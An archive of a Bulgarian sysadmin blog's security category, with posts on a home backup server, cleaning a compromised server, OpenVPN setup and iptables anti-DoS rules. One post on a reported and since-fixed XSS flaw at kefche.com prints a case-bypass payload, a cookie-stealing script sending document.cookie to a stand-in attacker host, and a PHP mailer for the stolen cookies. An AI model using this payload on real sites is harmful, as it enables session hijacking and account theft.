Archive

Archive for the ‘Защита’ Category

Home Data Center Project

Това е нещо интересно, което намерих “разхождайки” се в Интернет пространството: http://www.homedatacenterproject.com/

Собственика разказва историята на проекта още от самото начало, когато е започнал само с 2 машини, малко батерии, ток и още малко интернет връзка.

Доста се запалих по идеята, но не мисля, да я копирам. Поне не изцяло 🙂
Той предлага хостинг, а моята цел ще бъде remote backup. Нещо, което хората в днешно време подценяват, но в крайна сметка е нужно на ВСИЧКИ.
Да, сега ще кажете, че вече има Cloud hosting, който предотвратява загубата на данни, но пък моята таргет група не са обикновените хостинг клиенти. Работя изцяло с корпоративни клиенти, които знаят цената на backup-a и могат много добре да преценят последствията, от не използването на такъв.
Вярвате или не, напоследък се сблъсквам с доста компании, които по една или друга причина не използват бекъп, а всъщност предлагат услуги за милиони (буквално).

Внимание: Машините, с които започвам да си “играя” нямат общо с комерсиалната част на проекта www.server-backup.eu (засега)!

С какво разполагам до момента:
Motherboard: Gigabyte GA-P35-DS3R rev. 1.0, LGA 775/Socket T
GPU: XpertVision NVIDIA 7200GS PCI-E DDR2 VGA + DVI + TVO
HDD: 2 х 2 TB WD Green
OS HDD: 1 х 80 GB (обикновен диск)
OS: Debian Wheezy
CPU: Intel Pentium Dual-Core E2180 SLA8Y 2.00GHz/1M/800 Socket 775
CPU COOLER: Arctic Cooling Alpine 11 Rev. 2 CPU Cooler for Intel
RAM: 1 GB
POWER SUPPLY: FSP 350W ATX-350PNF
CASE: CIT Reaper Black Interior Mesh

В момента там е инсталирана базова версия на бекъп системата и се бекъпват само 2 лични сървъра. Тествам стабилността на връзката и скоростта й, защото за момента не е много добра/стабилна, което води до прекалено дълго време за да завърши всеки един от бекъп циклите.
Дори няма пуснат RAID. Нещо, което скоро трябва да променя. Най-малкото, ще пусна RAID 1, за да не си изгубя настройките ако нещо стане 🙂 Бекъп на бекъпа, ха-ха 🙂

Ето и един speedtest на връзката. Не е кой знае какво, но е ок. Трябва го тествам и с връзка от други краища на света…

594319741

Test Date: Jul 22, 2013 07:30
Download: 3855.9 kB/s
Upload: 247.6 kB/s
Ping: 45 ms
Connection Type: Wi-Fi
Server: Esslingen
Categories: backup, Debian, Защита Tags:

Имало едно време, една хакната машина…

Звучи като приказка, нали? Всъщност е реална история за това как трябваше да открия и да изтрия гаден “вирус” от един сървър.

При поредната проверка на пощата ми, чета писмо от datacenter-a, в който се намира една от машините ми. Там пишеше, че ако до няколко часа не разреша проблема с машината, тя ще бъде спряна. По-долу беше обяснено, че от нея има изключително много изходящи конекции, които flood-ят суича, към който е вързана машината.

И така, започна се…

В началото трябваше да намеря кой точно е процеса, предизвикващ въпросните конекции. Използвах ps auxw за да разгледам процесите, които в момента се изпълняваха на машината. На пръв поглед нямаше нищо необичайно – ftp, mysql, apache, ssh и още купчина други, с които няма да ви губя времето.
Но един от тях ми привлече вниманието, а именно /usr/local/apache2/bin/httpd. Нищо необичайно, нали? Всъщност проблема е, че моето apache се намира в друга директория… Ето и заподозреният 🙂

От тук нататък ще използвам прякорът “сивчо” за да не разкривам все пак за кой сайт става въпрос 🙂

Забелязах, че въпросният процес се изпълнява с потребител “сивчо“. Това означаваше точно две неща:
1. Машината ми не е root-ната. Тоест, мога да си я използвам без да е наложителна преинсталация.
2. Някой, някак е успял да хакне акаунта на “сивчо” – лесна парола или остарял РНР скрипт.

Първото ме успокои… пфу!

Започнах да разследвам “сивчо” и да видя какво е правил в последно време, но преди това заключих цялата му директория за всеки случай:

chmod 0 /home/сивчо

Използвах командата

find /home/сивчо/public_html -mtime -30 -o -ctime -30 -ls

за да разбера кои файлове е променял в последните 30 дни. Тук ударих на камък – няма нито 1 променен файл. Това означаваше, че скрипта не е писал по файлове, принадлежащи на “сивчо“… пълна мистерия…

Видях кой е Process ID на въпросния скрипт и отидох да го поразгледам. Нека кажем, че PID е 2012.
Влязох в директорията на процеса:

cd /proc/2012/

Исках да разбера, кой всъщност е файла, който се изпълнява зад този процес. А именно, на къде сочи exe файла. В случея – към root директорията “/“. Пак удрям на камък.
Исках да видя коя команда е използвана за да се стартира процеса, като погледа съдържанието на cmdline файла, но и той беше празен. Камък.
Погледнах в директорията fd, за да видя по кой файлове пише и чете процеса. Там имаше само сокети и apache error log файла. Това ме наведе на мисълта, че може би щях да мога да видя кои други файлове са се стартирали от потребител “сивчо” и евентуално да разбера точно в кой РНР файл е дупката за да я оправя или да предупредя клиента. Нямаше нищо. Погледнах и в лога на suPHP, но и там беше празно.

Отидох в /tmp/ директорията, която също се използваше от процеса. Там видях доста (десетина) скрити директории, принадлежащи на потребител “сивчо” и един странен .tgz файл, който при опит да разкомпресирам върна греша. Предположих, че това е самият “вирус”.

От тук нататък, изчерпан от идеи, реших да не се занимавам с ходене по следи от трохи, а просто да реша проблема. Убих процесите и изтрих скритите файлове и директории на “сивчо”. Това реши проблема, надявам се за постоянно. Все пак погледнах в /var/spool/cron/ да не би случайно там да има рестариращ процеса скрипт, но всичко беше наред.

Заключението ми е, че може би сам съм пренесал вируса от друг сървър при смяната на машините, която се случи преди известно време.

Преимущества и недостатъци при използването на Amazon S3 като бекъп сървър

Налага ми се да преместя бекъп системата си. За момента нямам окончателно решение къде да прехвърля няколкото терабайта бекъпи (лични и на различни фирми), но вчера се спрях на Amazon S3.

Все още не мога да изкажа впечатления, защото не съм работил с S3 повече от час, но недостатъка, който за момента ми пречи най-много е, че S3 могат да се използват само и единствено като прикачен хард диск, върху който да се записват данни. А така ми се искаше да мога да се логна в него с SSH и да му пусна един rsync…

Ако имате по-добро решение за бекъп ще се радвам да споделите.

Categories: backup, Защита Tags:

Lenovo Thinkpad Edge – Active Protection System

Lenovo Active Protection System (APS) е онова нещо, на което ще сте благодарни когато изпуснете лаптопа си от високо… не много високо 🙂

При местене и съответно изпускане на лаптопа, APS изключва хард диска, като това увеличава шансовете Ви да извадите от него непокътнатата си информация след тежко падане.

Как се инсталира под Ubuntu 11.10:

sudo apt-get install hdapsd tp-smapi-dkms

Надявам се никога да не Ви се налага да използвате възможностите на Lenovo Active Protection System.

Categories: Hardware, Linux, Защита Tags:

Lenovo Thinkpad Edge – fingerprint reader

… или как да пуснем четеца на пръстови отпечатъци на Lenovo Thinkpad Edge под Ubuntu 11.10

След картко търсене в Google, най-добрият вариант се оказа инсталацията на Fingerprint GUI, който автоматично разпозна четеца.

След пускането му можете да сканирате до 10 пръста, с които да се логвате в системата си без парола.
Уловката е, че ако вашият home folder е криптиран, няма да можете да се логнете само с пръстов отпечатък. Софтуера предлага възможност да запишете паролата на акаунта си на USB флашка /USB Stick/ и ако въпросната флашка е включена в компютъра докато се логвате с пръстов отпечатък – воала! и вече сте логнат.

При използването на командата “sudo” в terminal-a, също имате възможност да използвате пръстовия си отпечатък вместо парола.

Как се инсталира:
Първо добавяме repository-то за Fingerpring GUI:

sudo add-apt-repository ppa:fingerprint/fingerprint-gui
sudo apt-get update

Инсталираме със следната команда:

sudo apt-get install libbsapi policykit-1-fingerprint-gui fingerprint-gui

След това излизаме от Logout и се логваме наново. Стартираме програмата Fingerprint GUI, сканираме отпечатъците си и сме готови.

В линка посочен по-горе има подробно описание на процедурата, но се надявам да съм обяснил всичко максимално елементарно.

Categories: Ubuntu, Защита Tags:

Съвет: shared hosting – проблем с потребители и достъп до директории

Това е първият ми пост, който е по-скоро въпрос, отколкото решение на даден проблем.

Проблем:
Как да направим shared hosting с Nginx + PHP-FastCGI?

Условия:
1. Всеки потребител да има собствена директория и да не може да излиза от нея когато е логнат през SSH.
2. Да няма стартиран FastCGI процес за всеки различен потребител. Тоест, всички потребители да споделят един и същ FastCGI процес.
3. Не трябва при разглеждане на директориите с PHP скрипт, потребителя, който е пуснал скрипта да има достъп до останалите хостинг акаунти на машината.

Това, което мисля е, че точки 2 и 3 са взаимно изключващи се, но тъй като нямам цялостно решение на проблема си, приемам всякакви съвети.

Categories: Linux, Защита, Хостинг Tags:

Как хакнах kefche.com? :)

Като начало ще кажа, че предварително съм уведомил най-главния администратор, (или поне така пишеше в екипа на сайта) mesmeric, за проблема.

И сега, за да не се опитвате да го правите отново и отново, трябва да знаете, че проблема вече е разрешен от програмистите на сайта и дупката е затворена.

Какво се случи всъщност…

Както се “разхождах” насам-натам из сайта, реших да проверя какво може самият сайт (това ми е професионално изкривяване). Без да искам се натъкнах на съвсем елементарен начин да инжеркирам JavaScript в описанието на профила си.
Профил -> Настройки -> Описание и там написах следното:

<body onload="alert('hello world');">

Тъй като не се получи, опитах нещо друго, а именно:

<body oNload="alert('hello world');">

Забележете, че тук имам главно N. Това се прие от системата и всеки, който отвореше профила ми виждаше това, което съм написал в oNload таг-а.

Реших да си поиграя още малко (межувременно чаках отговор от администраторите на kefche).
Използвах следният скрипт:

<body onLoad="new Image().src='http://XSSATTACKDOMAIN.com/kefche.php?c='+encodeURI(document.cookie)+'USERNAME__'+document.getElementsByClassName('wlink')[0];">

Тоест, взимам всички cookies на потребителя, който разглежда моят профил заедно с линк до неговият потребителски профил и ги изпращам на мейла си:

kefche.php

mail('mail@domain.com', 'kefche sess', $_GET['c']);

После сменям моето PHPSESSID със стойността на нечие друго потребителско cookie и на следващият клик се озовавам с неговият акаунт 🙂

Инфо: след като оправиха проблема изрично съм поискал разрешение от въпросната администраторка за да публикувам тази статия.

Quick: mdadm check RAID

Как да накараме mdadm да ни информира ако имаме проблем с някой от RAID масивите?

Елементарно:

mdadm --monitor --scan --mail=MAIL@DOMAIN.com --delay=3600 --daemonize --test

OpenVPN под Windows

April 22nd, 2011 2 comments

VPN (Virtual Private Network) стана доста модерна технология днес. OpenVPN е доста добър софтуер, но защо да не го използваме и под Windows. Ето и целия процес на изграждане на мрежата стъпка по стъпка, но преди това някои основни неща. Има три основни вида настойки, който трябва да се направят: настойки на самия VPN Server, настойки на VPN Client и допълнителни настойки на мрежата. Обикновенно VPN мрежата се състои от един VPN Server и няколко VPN Client-а. Потра който използва OpenVPN по подразбиране е UTP 1194, но винаги може да го промените, ако се налага. Ако се намирате зад рутър, той трябва да се препрати до конкретната машина. Използването на статично IP e задължително, освен ако не използвате Dynamic DNS.

Необходимия софтуер може да свалите от: http://openvpn.se/download.html

Инсталирайте, като приемете създаването на TAP-Win32 виртуални устройства. След инсталацията отворете C:\Program Files\OpenVPN\sample-config и копирайте файла “server” в папката ..\Config\. Отворете файла и конфигурирайте необходимите променливи. Ето и примерна конфигуранция:

## server.ovpn ##
port 1194
proto udp
dev tun
ca ca.crt
cert widget.crt
key widget.key
dh dh1024.pem
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
push “route 192.168.0.0 255.255.255.0”
push “dhcp-option WINS 192.168.0.1”
push “dhcp-option DNS 192.168.0.1”
push “dhcp-option DOMAIN acme.com.local”
keepalive 10 120
comp-lzo
max-clients 4
persist-key
persist-tun
status openvpn-status.log
verb 3


Генериране на сертификати (CA):

Отворете в cmd:

C:\Program Files\OpenVPN\easy-rsa> init-config
C:\Program Files\OpenVPN\easy-rsa> vars
C:\Program Files\OpenVPN\easy-rsa> clean-all
C:\Program Files\OpenVPN\easy-rsa> build-ca

Като на последния файл попълнете исканите данни. Копирайте генерирания файл в Config папката:

C:\Program Files\OpenVPN\easy-rsa> copy keys\ca.crt ..\config\

Генериране на сървърен ключ и сертификат:
След като сме настроили CA, може да генерираме ключ и сертификат за сървъра.

C:\Program Files\OpenVPN\easy-rsa> vars
C:\Program Files\OpenVPN\easy-rsa> build-key-server widget
C:\Program Files\OpenVPN\easy-rsa> build-dh

Последната процедура може да отнеме време. После копирайте файловете:

C:\Program Files\OpenVPN\easy-rsa> copy keys\widget.crt ..\config\
C:\Program Files\OpenVPN\easy-rsa> copy keys\widget.key ..\config\
C:\Program Files\OpenVPN\easy-rsa> copy keys\dh1024.pem ..\config\

Настройки при клиента:

## acme.ovpn ##
client
proto udp
dev tun
remote 1.2.3.4 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert fred.crt
key fred.key
comp-lzo
verb 3

Тук трябва да промените IP, името на сертификата (fred).

Генерирайте на сървъра сертификати за отделните потребители (fred e пример)

C:\Program Files\OpenVPN\easy-rsa> vars
C:\Program Files\OpenVPN\easy-rsa> build-key fred

C:\Program Files\OpenVPN\easy-rsa> copy keys\fred.crt a:\
C:\Program Files\OpenVPN\easy-rsa> copy keys\fred.key a:\
C:\Program Files\OpenVPN\easy-rsa> copy keys\ca.crt a:\

C:\Program Files\OpenVPN\easy-rsa> copy a:\fred.crt ..\config\
C:\Program Files\OpenVPN\easy-rsa> copy a:\fred.key ..\config\
C:\Program Files\OpenVPN\easy-rsa> copy a:\ca.crt ..\config\

После следва десен бутон Connect и готово.

Categories: LAN, Windows, Защита Tags:

Защита от DoS атака с iptables

Тези команди ще ви помогнат да се защитите от DoS атака. Посредством тях, ще блокирате всяко IP, което за 60 секунди има повече от 20 връзки (connections) към текущата машина:

iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --set
 
iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 20 -j DROP

Резултат от командата:

[root@server ~]# netstat -alpn| grep ":80"| awk '{ print $5 }'| cut -d: -f4| sort| uniq -c | sort -n
      1 *
      3 66.249.72.131
     16 81.100.74.82
     17 82.12.246.158
     19 212.183.140.13
     19 78.148.123.94
     20 85.211.47.252
     20 86.166.141.234
     20 87.97.215.7
     20 89.253.191.173
     20 91.92.170.172
     20 94.156.57.170
     20 94.169.158.18
     22 77.78.11.99

Разбира се това е само пример и можете да смените стоностите за секунди (60) и брои връзки (20).
Имайте впредвид, че максималните стойности за –seconds са 60, а за –hitcount са 20

За да премахнете правило (RULE) от iptables използвайте следните команди.
Лист на всички правила в iptables:

iptables -L INPUT -n --line-numbers
[root@server ~]# iptables -L INPUT -n --line-numbers
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination         
1    DROP       tcp  --  0.0.0.0/0            0.0.0.0/0           tcp dpt:80 state NEW recent: UPDATE seconds: 60 hit_count: 20 name: DEFAULT side: source 
2               tcp  --  0.0.0.0/0            0.0.0.0/0           tcp dpt:80 state NEW recent: SET name: DEFAULT side: source 
3    fail2ban-SSH  tcp  --  0.0.0.0/0            0.0.0.0/0           tcp dpt:22 
4    DROP       all  --  67.195.0.0/24        0.0.0.0/0           
[root@server ~]#

За да изтрием правилото за блокиране на IP-тата в този случай пишем:

iptables -D INPUT 1
Categories: bash, Cent OS, Debian, Linux, Защита Tags: